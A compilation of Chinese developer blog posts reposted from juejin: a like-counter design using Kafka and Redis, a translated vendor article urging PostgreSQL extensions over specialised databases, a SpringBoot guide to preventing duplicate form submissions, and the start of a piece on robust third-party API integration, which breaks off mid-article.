很多人一上来就纠结怎么让百万次点赞实时写入数据库,其实跑偏了。
咱们站在用户角度想:
- 用户点击点赞后,最关心的是
有没有点赞成功,而不是当前赞数到底是 10086 还是 10087; - 赞数是给所有用户看的
公共数据,轻微延迟用户完全感知不到(就算数据丢了,用户也很难发现,只是会想“咦”我之前点赞过一个视频没了,就没然后了); - 核心需求是:操作成功率 99% + 客户端状态实时反馈 + 赞数最终准确。
想通这一点,方案就清晰了:把实时写入数据库的压力,转移到中间件上,用异步 + 缓存的思路解决高并发。
选取方案
咱们一步步拆解,从用户点击点赞按钮开始,整个流程是这样的:
1. 用户点赞:先写消息队列,客户端直接反馈成功
用户点击点赞的瞬间,客户端不会直接调用数据库接口,而是做两件事:
- 向后端发送点赞请求,后端收到后,不操作数据库,直接把用户ID + 视频ID + 点赞状态(赞 / 取消赞)封装成一条消息,写入 Kafka;
- Reids 记录 用户ID + 视频ID 的点赞状态,增加 视频ID 的赞数量
- 只要消息成功写入 Kafka,后端就立刻返回点赞成功给前端,客户端马上显示已赞状态。
为啥选 Kafka 我就不说了。
2. 客户端:本地记录状态,避免重复点赞
客户端收到点赞成功后,除了显示已赞,还要在本地存储记录当前用户对该视频已点赞。
这样做的好处是:
- 防止用户短时间内重复点击点赞,前端直接拦截,减少无效请求;
- 就算后续缓存没更新,用户自己看到的状态也是准确的,不影响个人体验。
3. 查赞数:直接读 Redis,不用查数据库
其他用户查看视频时,需要显示赞数,这时候客户端会调用查询赞数接口,后端的处理逻辑是:
- 不查数据库,直接从 Redis 里读取该视频的赞数缓存;
- Redis 读性能极高,支持每秒几十万次查询,完全能扛住百万用户同时查看的压力;
- 这里的赞数可能不是实时最新的,但只要延迟在可接受范围内,用户完全没感觉。
4. 后台任务:定时同步 Redis 和数据库,保证最终一致
这一步是兜底,负责把 Kafka 里的点赞消息处理掉,同时更新 Redis 和数据库:
- 后端持续从 Kafka 里拉取点赞消息;
- 启动一个定时任务,把 Redis 里所有视频的赞数,批量同步到数据库里;
- 同步时要注意幂等性:比如用户先赞后取消,最终状态是未赞,避免重复计算导致赞数错误。
批量同步,攒一批数据(比如 1 万条)再批量更新,大大减少数据库的写入压力。
而且定时任务可以根据业务调整频率,比如高峰期每 1 分钟同步一次,低峰期每 10 分钟同步一次,灵活适配流量。
方案优势
这套方案没有复杂的架构,但的确能解决百万级点赞的高并发问题,核心优势在于几种中间件的组合使用:
- 高可用:Kafka 保证消息不丢失,Redis 保证查询不卡顿,就算数据库暂时挂了,用户点赞和查赞数都不受影响;
- 易扩展:如果后续点赞量涨到千万级,只需要增加 Kafka 的分区数、Redis 的集群节点,就能轻松扛住;
- 低成本:不用复杂的分布式事务,不用实时计算框架,用最基础的中间件就能实现,开发和维护成本都低。
写在最后
其实很多高并发场景,比如点赞、评论、秒杀,核心思路都是异步解耦 + 缓存兜底。
面试官考察的不是你知道多少冷门技术,而是你能不能看透问题本质,用户要的是 体验 和 成功,不是 实时准确。
不过,这套方案看似简单,但覆盖了 “削峰、缓存、异步、最终一致性” 等核心考点,面试时把这个逻辑讲清楚,再结合 Kafka 的消息可靠性、Redis 的高性能、定时任务的批量处理,面试官起码会觉得你 懂行。
如果实际业务中,赞数延迟要求极高(比如直播场景,需要实时显示赞数),也可以把定时同步改成 Kafka 消费后实时更新 Redis,数据库异步同步,本质还是换汤不换药~
来源:juejin.cn/post/7576273949186932778
翻译:2026年了,直接用 PostgreSQL 吧
翻译:2026年了,直接用 PostgreSQL 吧
以下是 It’s 2026, Just Use Postgres | Tiger Data 的中文翻译
把你的数据库想象成你的家。家里有客厅、卧室、浴室、厨房和车库,每个房间用途不同,但都在同一屋檐下,由走廊和门相连。你不会因为需要做饭就单独盖一栋餐厅大楼,也不会为了停车而在城外另建一座商业车库。
PostgreSQL 就是这样的“家”——一个屋檐下容纳多个功能房间:搜索、向量、时序数据、队列……全部一体化。
而这恰恰是那些专用数据库厂商不愿让你知道的真相。他们的营销团队花了数年时间说服你“为不同任务选用合适的工具”。听起来很合理,很睿智,也确实卖出了大量数据库。
让我告诉你为什么这是个陷阱,以及为什么在 99% 的场景下,PostgreSQL 才是更优解。
“选用合适工具”的陷阱
你一定听过这样的建议:“为不同任务选用合适的工具。”
听起来很睿智。于是你最终拥有了:
- Elasticsearch 用于搜索
- Pinecone 用于向量检索
- Redis 用于缓存
- MongoDB 用于文档存储
- Kafka 用于消息队列
- InfluxDB 用于时序数据
- PostgreSQL 用于……剩下的杂项
恭喜你,现在你需要管理七个数据库。学习七种查询语言,维护七套备份策略,审计七种安全模型,轮换六组凭证,监控七个仪表盘,以及应对七个可能在凌晨三点崩溃的系统。
而当系统真的崩溃时?祝你好运——你得搭建一个包含全部七种数据库的测试环境来调试问题。
换个思路:直接用 PostgreSQL 吧。
为什么现在尤其重要:AI 时代
这不只是关于简化架构。AI 智能体已让数据库碎片化成为一场噩梦。
想想智能体需要做什么:
- 快速用生产数据搭建测试数据库
- 尝试修复或实验
- 验证效果
- 销毁环境
使用单一数据库?一条命令即可:Fork、测试、完成。
使用七个数据库?你需要:
- 协调 PostgreSQL、Elasticsearch、Pinecone、Redis、MongoDB 和 Kafka 的快照
- 确保所有数据处于同一时间点
- 启动七种不同服务
- 配置七组连接字符串
- 祈祷测试过程中数据不发生漂移
- 测试结束后销毁七种服务
没有大量研发投入,这几乎不可能实现。
这还不只是智能体的问题。每次凌晨三点系统崩溃,你都需要搭建测试环境调试。六个数据库意味着协调噩梦;一个数据库,只需一条命令。
在 AI 时代,简洁不只是优雅,更是必需。
“但专用数据库性能更好啊!”
我们直面这个问题。
迷思:专用数据库在其特定任务上远超通用方案。
现实:它们可能在狭窄场景下略占优势,但同时引入了不必要的复杂性。这就像为每顿饭都雇佣一位私人厨师——听起来奢华,实则增加成本、协调开销,并制造了本不存在的问题。
关键在于:99% 的公司根本不需要它们。那 1% 的顶级公司拥有数千万用户和与之匹配的庞大工程团队。你读过他们吹捧“专用数据库 X 如何惊艳”的博客,但那是他们的规模、他们的团队、他们的问题。对其他人而言,PostgreSQL 完全够用。
大多数人没意识到的是:PostgreSQL 扩展使用的算法与专用数据库相同甚至更优(很多情况下确实如此)。
所谓“专用数据库溢价”?大多是营销话术。
| 你的需求 | 专用工具 | PostgreSQL 扩展 | 算法是否相同? |
|---|---|---|---|
| 全文搜索 | Elasticsearch | pg_textsearch | ✅ 均使用 BM25 |
| 向量检索 | Pinecone | pgvector + pgvectorscale | ✅ 均使用 HNSW/DiskANN |
| 时序数据 | InfluxDB | TimescaleDB | ✅ 均使用时间分区 |
| 缓存 | Redis | UNLOGGED 表 | ✅ 均使用内存存储 |
| 文档 | MongoDB | JSONB | ✅ 均使用文档索引 |
| 地理空间 | 专用 GIS | PostGIS | ✅ 自 2001 年起的行业标准 |
这些不是缩水版实现,而是相同/更优的算法,经过实战检验、开源,并常由相同研究者开发。
基准测试也证实了这一点:
- pgvectorscale:延迟比 Pinecone 低 28 倍,成本降低 75%
- TimescaleDB:性能媲美或超越 InfluxDB,同时提供完整 SQL 支持
- pg_textsearch:与 Elasticsearch 相同的 BM25 排序算法
隐性成本不断累积
除 AI/智能体问题外,数据库碎片化还带来复合成本:
| 任务 | 单一数据库 | 七个数据库 |
|---|---|---|
| 备份策略 | 1 套 | 7 套 |
| 监控仪表盘 | 1 个 | 7 个 |
| 安全补丁 | 1 次 | 7 次 |
| 值班手册 | 1 份 | 7 份 |
| 故障转移测试 | 1 次 | 7 次 |
认知负荷:团队需掌握 SQL、Redis 命令、Elasticsearch Query DSL、MongoDB 聚合、Kafka 模式、InfluxDB 的非原生 SQL 变通方案。这不是专业化,这是碎片化。
数据一致性:保持 Elasticsearch 与 PostgreSQL 同步?你需要构建同步作业。它们会失败,数据会漂移,你得添加对账逻辑。对账也会失败。最终你维护的是基础设施,而非产品功能。
SLA 数学:三个系统各自 99.9% 可用性 = 整体 99.7%。这意味着每年26 小时停机时间,而非 8.7 小时。每个系统都在成倍增加故障模式。
现代 PostgreSQL 技术栈
这些扩展并非新生事物,它们已生产就绪多年:
- PostGIS:自 2001 年(24 年),支撑 OpenStreetMap 和 Uber
- 全文搜索:自 2008 年(17 年),内置于 PostgreSQL 核心
- JSONB:自 2014 年(11 年),性能媲美 MongoDB 且支持 ACID
- TimescaleDB:自 2017 年(8 年),GitHub 超 2.1 万星
- pgvector:自 2021 年(4 年),GitHub 超 1.9 万星
超过 48,000 家公司使用 PostgreSQL,包括 Netflix、Spotify、Uber、Reddit、Instagram 和 Discord。
AI 时代的新一代扩展
| 扩展 | 替代方案 | 亮点 |
|---|---|---|
| pgvectorscale | Pinecone, Qdrant | DiskANN 算法,延迟降低 28 倍,成本降低 75% |
| pg_textsearch | Elasticsearch | 原生支持 BM25 排序 |
| pgai | 外部 AI 流水线 | 数据变更时自动同步嵌入向量 |
这意味着什么:过去构建 RAG 应用需要 PostgreSQL + Pinecone + Elasticsearch + 胶水代码。
现在?只需 PostgreSQL。一个数据库,一种查询语言,一套备份方案,一条 Fork 命令即可让 AI 智能体搭建测试环境。
快速上手:启用这些扩展
只需执行以下命令:
-- 全文搜索(BM25)
CREATE EXTENSION pg_textsearch;
-- 向量检索(AI 场景)
CREATE EXTENSION vector;
CREATE EXTENSION vectorscale;
-- AI 嵌入与 RAG 工作流
CREATE EXTENSION ai;
-- 时序数据
CREATE EXTENSION timescaledb;
-- 消息队列
CREATE EXTENSION pgmq;
-- 定时任务
CREATE EXTENSION pg_cron;
-- 地理空间
CREATE EXTENSION postgis;
就是这么简单。
代码示例
以下是各场景的可运行示例,按需查阅。
全文搜索(替代 Elasticsearch)
扩展:pg_textsearch(真正的 BM25 排序)
替代对象:
- Elasticsearch:独立 JVM 集群、复杂映射、同步流水线、Java 堆调优
- Solr:类似问题,仅包装不同
- Algolia:$1/1000 次搜索,依赖外部 API
你将获得:与 Elasticsearch 完全相同的 BM25 算法,直接内置于 PostgreSQL。
-- 创建表
CREATE TABLE articles (
id SERIAL PRIMARY KEY,
title TEXT,
content TEXT
);
-- 创建 BM25 索引
CREATE INDEX idx_articles_bm25 ON articles USING bm25(content)
WITH (text_config = 'english');
-- 基于 BM25 评分搜索
SELECT title, -(content <@> 'database optimization') as score
FROM articles
ORDER BY content <@> 'database optimization'
LIMIT 10;
混合搜索:BM25 + 向量一体化查询
SELECT
title,
-(content <@> 'database optimization') as bm25_score,
embedding <=> query_embedding as vector_distance,
0.7 * (-(content <@> 'database optimization')) +
0.3 * (1 - (embedding <=> query_embedding)) as hybrid_score
FROM articles
ORDER BY hybrid_score DESC
LIMIT 10;
Elasticsearch 需要额外插件才能实现的功能,在 PostgreSQL 中只需一条 SQL。
向量检索(替代 Pinecone)
扩展:pgvector + pgvectorscale
替代对象:
- Pinecone:$70/月起步,独立基础设施,数据同步头痛
- Qdrant, Milvus, Weaviate:更多需管理的基础设施
你将获得:pgvectorscale 采用微软研究院的 DiskANN 算法,在 99% 召回率下实现延迟降低 28 倍、吞吐量提升 16 倍。
-- 启用扩展
CREATE EXTENSION vector;
CREATE EXTENSION vectorscale CASCADE;
-- 含嵌入向量的表
CREATE TABLE documents (
id SERIAL PRIMARY KEY,
content TEXT,
embedding vector(1536)
);
-- 高性能索引(DiskANN)
CREATE INDEX idx_docs_embedding ON documents USING diskann(embedding);
-- 查找相似文档
SELECT content, embedding <=> '[0.1, 0.2, ...]'::vector as distance
FROM documents
ORDER BY embedding <=> '[0.1, 0.2, ...]'::vector
LIMIT 10;
通过 pgai 自动同步嵌入向量:
SELECT ai.create_vectorizer(
'documents'::regclass,
loading => ai.loading_column(column_name=>'content'),
embedding => ai.embedding_openai(model=>'text-embedding-3-small', dimensions=>'1536')
);
现在每次 INSERT/UPDATE 都会自动重新生成嵌入向量。无需同步作业,无数据漂移,告别凌晨三点的告警电话。
时序数据(替代 InfluxDB)
扩展:TimescaleDB(GitHub 2.1 万+ 星)
替代对象:
- InfluxDB:独立数据库、Flux 查询语言或非原生 SQL
- Prometheus:适用于指标,不适用于应用数据
你将获得:自动时间分区、最高 90% 压缩率、连续聚合,完整 SQL 支持。
-- 启用 TimescaleDB
CREATE EXTENSION timescaledb;
-- 创建表
CREATE TABLE metrics (
time TIMESTAMPTZ NOT NULL,
device_id TEXT,
temperature DOUBLE PRECISION
);
-- 转换为超表
SELECT create_hypertable('metrics', 'time');
-- 按时间桶查询
SELECT time_bucket('1 hour', time) as hour,
AVG(temperature)
FROM metrics
WHERE time > NOW() - INTERVAL '24 hours'
GR0UP BY hour;
-- 自动删除旧数据
SELECT add_retention_policy('metrics', INTERVAL '30 days');
-- 压缩(存储减少 90%)
ALTER TABLE metrics SET (timescaledb.compress);
SELECT add_compression_policy('metrics', INTERVAL '7 days');
缓存(替代 Redis)
特性:UNLOGGED 表 + JSONB
-- UNLOGGED = 无 WAL 开销,写入更快
CREATE UNLOGGED TABLE cache (
key TEXT PRIMARY KEY,
value JSONB,
expires_at TIMESTAMPTZ
);
-- 设置带过期时间的缓存
INSERT INTO cache (key, value, expires_at)
VALUES ('user:123', '{"name": "Alice"}', NOW() + INTERVAL '1 hour')
ON CONFLICT (key) DO UPDATE SET value = EXCLUDED.value;
-- 读取
SELECT value FROM cache WHERE key = 'user:123' AND expires_at > NOW();
-- 清理(通过 pg_cron 定时)
DELETE FROM cache WHERE expires_at < NOW();
消息队列(替代 Kafka)
扩展:pgmq
CREATE EXTENSION pgmq;
SELECT pgmq.create('my_queue');
-- 发送消息
SELECT pgmq.send('my_queue', '{"event": "signup", "user_id": 123}');
-- 接收消息(带可见性超时)
SELECT * FROM pgmq.read('my_queue', 30, 5);
-- 处理完成后删除
SELECT pgmq.delete('my_queue', msg_id);
或使用原生 SKIP LOCKED 模式:
CREATE TABLE jobs (
id SERIAL PRIMARY KEY,
payload JSONB,
status TEXT DEFAULT 'pending'
);
-- Worker 原子性认领任务
UPDATE jobs SET status = 'processing'
WHERE id = (
SELECT id FROM jobs WHERE status = 'pending'
FOR UPDATE SKIP LOCKED LIMIT 1
) RETURNING *;
文档存储(替代 MongoDB)
特性:原生 JSONB
CREATE TABLE users (
id SERIAL PRIMARY KEY,
data JSONB
);
-- 插入嵌套文档
INSERT INTO users (data) VALUES ('{
"name": "Alice",
"profile": {"bio": "Developer", "links": ["github.com/alice"]}
}');
-- 查询嵌套字段
SELECT data->>'name', data->'profile'->>'bio'
FROM users
WHERE data->'profile'->>'bio' LIKE '%Developer%';
-- 为 JSON 字段创建索引
CREATE INDEX idx_users_email ON users ((data->>'email'));
地理空间(替代专用 GIS)
扩展:PostGIS
CREATE EXTENSION postgis;
CREATE TABLE stores (
id SERIAL PRIMARY KEY,
name TEXT,
location GEOGRAPHY(POINT, 4326)
);
-- 查找 5 公里内的门店
SELECT name, ST_Distance(location, ST_MakePoint(-122.4, 37.78)::geography) as meters
FROM stores
WHERE ST_DWithin(location, ST_MakePoint(-122.4, 37.78)::geography, 5000);
定时任务(替代 Cron)
扩展:pg_cron
CREATE EXTENSION pg_cron;
-- 每小时执行
SELECT cron.schedule('cleanup', '0 * * * *',
$$DELETE FROM cache WHERE expires_at < NOW()$$);
-- 每日凌晨 2 点汇总
SELECT cron.schedule('rollup', '0 2 * * *',
$$REFRESH MATERIALIZED VIEW CONCURRENTLY daily_stats$$);
核心结论
回到“家”的比喻:你不会为做晚饭单独盖餐厅,也不会为停车在城外建车库。你会使用家中已有的房间。
这正是我们在此展示的:搜索、向量、时序、文档、队列、缓存……它们都是 PostgreSQL 这座“家”中的不同房间。使用与专用数据库相同的算法,历经多年实战检验,被 Netflix、Uber、Discord 及 48,000 多家公司采用。
那么那 1% 的例外呢?
99% 的公司,PostgreSQL 足以应对所有需求。那 1%?当你需要跨数百节点处理 PB 级日志,或必须使用 Kibana 特定仪表盘,或拥有 PostgreSQL 确实无法满足的特殊需求时。
但关键在于:当你属于那 1% 时,你自己会知道。你不需要厂商营销团队告诉你,你会通过基准测试亲自撞上真正的性能墙。
在此之前,不要因为“为不同任务选用合适工具”这句话,就把数据分散到七栋大楼中。那句建议卖出了数据库,却没为你服务。
从 PostgreSQL 开始,坚持使用 PostgreSQL。仅在真正需要时才增加复杂性。
2026 年了,直接用 PostgreSQL 吧。
立即开始
所有这些扩展在 Tiger Data 上均可使用。几分钟内创建免费数据库:
psql "postgresql://user:pass@your-instance.tsdb.cloud.timescale.com:5432/tsdb"
CREATE EXTENSION pg_textsearch; -- BM25 搜索
CREATE EXTENSION vector; -- 向量检索
无需专用数据库,只需 PostgreSQL。
延伸阅读
来源:juejin.cn/post/7605985547578195974
SpringBoot接口防抖大作战,拒绝“手抖”重复提交!
大家好,我是小悟。
一、什么是接口防抖?(又名:救救那个手抖的程序员)
想象一下这个场景:用户小张在提交订单时,因为网络延迟,他以为没点中那个“提交”按钮,于是疯狂连击了10次!结果...10个一模一样的订单诞生了!
接口防抖 就像是给按钮加上了一层“冷静期”——“兄弟,你点太快了,先冷静3秒再说!”
防止重复提交 则是更严格的保安大哥——“同样的身-份-证(请求)只能进一次,想蒙混过关?没门!”
下面我来教你在SpringBoot中布下天罗地网,拦截这些“手抖攻击”!
二、实战方案大集合
方案1:前端防抖 + 后端令牌锁(双保险)
前端防抖代码(JavaScript版):
// 给按钮加个“冷静debuff”
let isSubmitting = false;
function submitOrder() {
if (isSubmitting) {
alert("客官您点得太快了,喝口茶歇歇~");
return;
}
isSubmitting = true;
// 提交请求...
// 3秒后才能再次点击
setTimeout(() => {
isSubmitting = false;
}, 3000);
}
后端令牌锁实现:
步骤1:创建防抖注解
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface PreventDuplicateSubmit {
/**
* 防抖时间(秒),默认3秒
*/
int lockTime() default 3;
/**
* 锁的key,支持SpEL表达式
*/
String key() default "";
/**
* 提示信息
*/
String message() default "请勿重复提交";
}
步骤2:实现AOP切面
@Aspect
@Component
@Slf4j
public class DuplicateSubmitAspect {
@Autowired
private RedisTemplate<String, Object> redisTemplate;
@Autowired
private HttpServletRequest request;
@Pointcut("@annotation(preventDuplicateSubmit)")
public void pointcut(PreventDuplicateSubmit preventDuplicateSubmit) {
}
@Around("pointcut(preventDuplicateSubmit)")
public Object around(ProceedingJoinPoint joinPoint,
PreventDuplicateSubmit preventDuplicateSubmit) throws Throwable {
// 1. 构造锁的key
String lockKey = buildLockKey(joinPoint, preventDuplicateSubmit);
// 2. 尝试加锁(setnx操作)
Boolean success = redisTemplate.opsForValue()
.setIfAbsent(lockKey, "LOCKED",
preventDuplicateSubmit.lockTime(), TimeUnit.SECONDS);
if (Boolean.TRUE.equals(success)) {
// 加锁成功,执行方法
try {
return joinPoint.proceed();
} finally {
// 可以根据业务决定是否立即删除锁
// redisTemplate.delete(lockKey);
}
} else {
// 加锁失败,说明重复提交了
throw new RuntimeException(preventDuplicateSubmit.message());
}
}
private String buildLockKey(ProceedingJoinPoint joinPoint,
PreventDuplicateSubmit annotation) {
StringBuilder keyBuilder = new StringBuilder("SUBMIT:LOCK:");
// 如果有自定义key
if (StringUtils.isNotBlank(annotation.key())) {
keyBuilder.append(parseKey(joinPoint, annotation.key()));
} else {
// 默认使用:方法名 + 用户ID + 参数hash
keyBuilder.append(joinPoint.getSignature().toShortString());
// 加上用户ID(如果有登录)
String userId = getCurrentUserId();
if (userId != null) {
keyBuilder.append(":").append(userId);
}
// 加上参数摘要
Object[] args = joinPoint.getArgs();
if (args.length > 0) {
String argsHash = DigestUtils.md5DigestAsHex(
Arrays.deepToString(args).getBytes()
).substring(0, 8);
keyBuilder.append(":").append(argsHash);
}
}
return keyBuilder.toString();
}
private String getCurrentUserId() {
// 从Token或Session中获取用户ID
// 这里简化处理
return (String) request.getSession().getAttribute("userId");
}
}
步骤3:使用示例
@RestController
@RequestMapping("/order")
public class OrderController {
@PostMapping("/create")
@PreventDuplicateSubmit(lockTime = 5, message = "订单正在处理中,请勿重复提交")
public ApiResult createOrder(@RequestBody OrderDTO orderDTO) {
// 业务逻辑
orderService.create(orderDTO);
return ApiResult.success("下单成功");
}
@PostMapping("/pay")
@PreventDuplicateSubmit(
key = "'PAY:' + #orderNo + ':' + T(com.example.util.UserUtil).getCurrentUserId()",
lockTime = 10,
message = "支付请求已提交,请勿重复操作"
)
public ApiResult payOrder(String orderNo) {
// 支付逻辑
return ApiResult.success("支付成功");
}
}
方案2:数据库唯一约束(最硬核的方案)
有时候,最简单的最有效!
@Entity
@Table(name = "orders")
public class Order {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
// 业务唯一号:时间戳 + 用户ID + 随机数
@Column(name = "order_no", unique = true, nullable = false)
private String orderNo;
// 或者使用请求ID作为防重
@Column(name = "request_id", unique = true)
private String requestId;
// ...其他字段
}
@Service
@Slf4j
public class OrderService {
@Transactional(rollbackFor = Exception.class)
public void createOrder(OrderDTO dto) {
// 生成唯一请求ID(前端传递或后端生成)
String requestId = dto.getRequestId();
if (StringUtils.isBlank(requestId)) {
requestId = UUID.randomUUID().toString();
}
// 检查是否已处理过该请求
if (orderRepository.existsByRequestId(requestId)) {
log.warn("重复请求被拦截:{}", requestId);
throw new BusinessException("订单已提交,请勿重复操作");
}
// 创建订单
Order order = new Order();
order.setRequestId(requestId);
order.setOrderNo(generateOrderNo());
// ...设置其他字段
try {
orderRepository.save(order);
} catch (DataIntegrityViolationException e) {
// 捕获唯一约束异常
throw new BusinessException("订单已存在,请勿重复提交");
}
}
}
方案3:本地Guava缓存(轻量级方案)
适合单机部署,简单快捷!
@Component
public class LocalDuplicateChecker {
// Guava缓存,3秒自动过期
private final Cache<String, Boolean> submitCache = CacheBuilder.newBuilder()
.expireAfterWrite(3, TimeUnit.SECONDS)
.maximumSize(10000)
.build();
/**
* 检查是否重复提交
* @param key 请求唯一标识
* @return true=重复提交, false=首次提交
*/
public boolean isDuplicate(String key) {
try {
// 如果key不存在,则放入缓存并返回null
// 如果key存在,则返回缓存的值
return submitCache.get(key, () -> {
// 这个lambda只在key不存在时执行
return false;
});
} catch (ExecutionException e) {
return true;
}
}
/**
* 手动放入缓存(用于防止并发时多次通过检查)
*/
public void markAsSubmitted(String key) {
submitCache.put(key, true);
}
}
// 使用方式
@RestController
public class ApiController {
@Autowired
private LocalDuplicateChecker duplicateChecker;
@PostMapping("/api/submit")
public ApiResult submitData(@RequestBody SubmitData data,
HttpServletRequest request) {
// 构造唯一key:IP + 用户ID + 数据摘要
String clientIp = request.getRemoteAddr();
String userId = getCurrentUserId();
String dataHash = DigestUtils.md5DigestAsHex(
JSON.toJSONString(data).getBytes()
).substring(0, 8);
String lockKey = String.format("SUBMIT:%s:%s:%s",
clientIp, userId, dataHash);
if (duplicateChecker.isDuplicate(lockKey)) {
return ApiResult.error("请勿重复提交");
}
// 标记为已提交
duplicateChecker.markAsSubmitted(lockKey);
// 执行业务逻辑
return processData(data);
}
}
方案4:Token令牌机制(最经典的方案)
这个方案就像发门票,一张票只能进一个人!
步骤1:生成Token
@RestController
public class TokenController {
@GetMapping("/api/getToken")
public ApiResult getToken() {
String token = UUID.randomUUID().toString();
// 存入Redis,有效期5分钟
redisTemplate.opsForValue().set(
"SUBMIT_TOKEN:" + token,
"VALID",
5, TimeUnit.MINUTES
);
return ApiResult.success(token);
}
}
步骤2:验证Token
@Aspect
@Component
public class TokenCheckAspect {
@Pointcut("@annotation(needTokenCheck)")
public void pointcut(NeedTokenCheck needTokenCheck) {
}
@Around("pointcut(needTokenCheck)")
public Object checkToken(ProceedingJoinPoint joinPoint,
NeedTokenCheck needTokenCheck) throws Throwable {
HttpServletRequest request = ((ServletRequestAttributes)
RequestContextHolder.getRequestAttributes()).getRequest();
String token = request.getHeader("X-Submit-Token");
if (StringUtils.isBlank(token)) {
throw new RuntimeException("提交令牌缺失");
}
String redisKey = "SUBMIT_TOKEN:" + token;
String value = (String) redisTemplate.opsForValue().get(redisKey);
if (!"VALID".equals(value)) {
throw new RuntimeException("无效的提交令牌");
}
// 删除令牌(一次性使用)
redisTemplate.delete(redisKey);
return joinPoint.proceed();
}
}
步骤3:前端配合
// 提交前先获取令牌
async function submitWithToken(data) {
// 1. 获取令牌
const token = await fetch('/api/getToken').then(r => r.json());
// 2. 携带令牌提交
const result = await fetch('/api/submit', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Submit-Token': token
},
body: JSON.stringify(data)
});
return result;
}
三、方案对比总结
| 方案 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|
| AOP + Redis锁 | 灵活可控,支持复杂规则 | 依赖Redis,增加系统复杂度 | 分布式系统,需要精细控制 |
| 数据库唯一约束 | 绝对可靠,永不漏网 | 对数据库有压力,需要设计唯一键 | 核心业务(如支付、订单) |
| 本地缓存 | 性能极高,零延迟 | 仅限单机,集群无效 | 单体应用,高频但非核心接口 |
| Token机制 | 安全性高,前端可控 | 需要两次请求,增加交互 | 表单提交,需要严格防重 |
四、防抖策略选择指南
- 根据业务重要性选择:
- 金融支付 → 数据库唯一约束 + Redis锁(双重保险)
- 普通表单 → Token机制或AOP锁
- 查询接口 → 本地缓存防抖
- 根据系统架构选择:
- 单机应用 → 本地缓存最香
- 分布式集群 → Redis是王道
- 微服务 → 考虑分布式锁服务
- 实用小贴士:
// 最佳实践:组合拳!
@PostMapping("/important/submit")
@PreventDuplicateSubmit(lockTime = 5)
@Transactional(rollbackFor = Exception.class)
public ApiResult importantSubmit(@RequestBody @Valid RequestDTO dto) {
// 1. 检查请求ID是否重复
checkRequestId(dto.getRequestId());
// 2. 执行业务
// 3. 数据库唯一约束兜底
return ApiResult.success();
}
五、最后
- 不要过度设计:简单的业务用简单的方案,杀鸡不要用牛刀
- 用户体验很重要:防抖提示要友好,别让用户一脸懵逼
- 监控不能少:记录被拦截的请求,分析用户行为
- 前端也要防:前后端双重防护才是王道
防抖的目的不是为难用户,而是保护系统和数据的安全。就像给你的接口穿上防弹衣,既能抵挡"手抖攻击",又能让正常请求畅通无阻!
程序员防抖口诀:
前端防抖先出手,后端加锁不能少。
令牌机制来帮忙,唯一约束最可靠。
根据场景选方案,系统稳定没烦恼。
用户手抖不可怕,我有妙招来护驾!

谢谢你看我的文章,既然看到这里了,如果觉得不错,随手点个赞、转发、在看三连吧,感谢感谢。那我们,下次再见。
您的一键三连,是我更新的最大动力,谢谢
山水有相逢,来日皆可期,谢谢阅读,我们再会
我手中的金箍棒,上能通天,下能探海
来源:juejin.cn/post/7586208617603661858
别再说“对接接口没技术含量了”,这才是高手的打开方式!
很多 Java 程序员一听到“对接第三方接口”,脑子里就自动响起一句话: “这不就是调个接口嘛,没技术含量。”
但真相是:你以为是体力活的地方,往往最能看出一个工程师的“技术深度”。
那些把接口对接写成“定时炸弹”的代码,和能扛住三年高并发零故障的实现,差的从来不是会不会发 HTTP 请求。
一、真正的高手,不是“调通接口”,而是“设计边界”
对接第三方接口,看似只是发个请求、拿个 JSON,但背后其实是——系统边界的协作与防御设计。
你面对的不是自己可控的代码,而是一个随时可能“变脸”的外部世界:
- 对方文档写着“此字段必传”,实际却返回 null
- 测试环境响应毫秒级,生产环境突然超时 30 秒
- 接口突然升级,字段名从 camelCase 改成 snake_case
- 流量峰值时,对方悄悄给你限流却不通知
所以高手不会只想着“调通”,而是从第一天就思考:
- 超时如何设置才不会拖垮自己的线程池?
- 对方返回非预期格式时,如何避免解析崩溃?
- 调用失败后,重试几次、间隔多久才合理?
- 敏感参数如何加密才能通过安全审计?
- 接口突然变慢时,如何第一时间收到告警?
这些问题,不是“Bug”,而是“工程意识”的试金石。能把混乱的接口接得稳定、可控、可追踪、可安全,这才是真正的技术能力。
二、“对接接口”也能写出架构感
普通开发者的代码,往往是这样的:
// 业务代码里突然冒出一段HTTP调用
RestTemplate restTemplate = new RestTemplate();
HttpHeaders headers = new HttpHeaders();
headers.set("appKey", "xxx");
headers.set("sign", "xxx");
HttpEntity<Map> entity = new HttpEntity<>(reqMap, headers);
ResponseEntity<String> res = restTemplate.postForEntity(
"https://xxx.com/api/pay", entity, String.class);
// 然后直接解析字符串...
而高手的代码,会先画一条清晰的边界:
// 1. 定义领域接口,屏蔽HTTP细节
public interface PaymentGatewayClient {
PaymentResponse pay(PaymentRequest request);
}
// 2. 实现类专注处理接口对接逻辑
@Service
public class AlipayGatewayClient implements PaymentGatewayClient {
@Override
public PaymentResponse pay(PaymentRequest request) {
// 封装:签名生成、参数转换、超时控制
// 集成:重试机制、日志埋点、异常转换
// 隔离:与业务逻辑彻底分离
}
}
业务层调用时,只需要关心业务语义,不关心HTTP细节。
这样做的好处立竿见影:
- • 换第三方支付时,只需新增实现类,业务代码零改动
- • 单元测试时,用 Mock 替代真实接口,测试速度提升 10 倍
- • 接口逻辑集中管理,不会散落在几百个业务方法里
当你能做到“接口逻辑不散落在业务代码里”,系统就已经迈入“架构级整洁”的门槛。
三、调通很容易,稳定才是实力
调通接口是初级开发者的 KPI。让接口一年 365 天稳稳跑着,那才是高级工程师的成就。
这些场景你一定踩过坑:
- • 对方接口“偶尔超时”,导致自己的系统线程池被占满
- • 并发一上来,就收到“Too Many Requests”限流提示
- • 响应 JSON 里突然多了个逗号,Jackson 解析直接抛异常
- • 异步回调乱序,先收到“支付成功”,再收到“支付中”
- • 敏感参数明文传输,被安全扫描揪出高危漏洞
- • 接口响应变慢,用户投诉后才发现
而高手的解决方案,藏在这些细节里:
1. 超时与重试:用“退避策略”减少无效请求
// 用 Resilience4j 实现指数退避重试
RetryConfig config = RetryConfig.custom()
.maxAttempts(3) // 最多重试3次
.waitDuration(Duration.ofMillis(1000)) // 首次间隔1秒
.retryExceptions(TimeoutException.class, IOException.class)
.ignoreExceptions(IllegalArgumentException.class) // 非法参数不重试
.build();
Retry retry = Retry.of("paymentApi", config);
// 包装调用逻辑
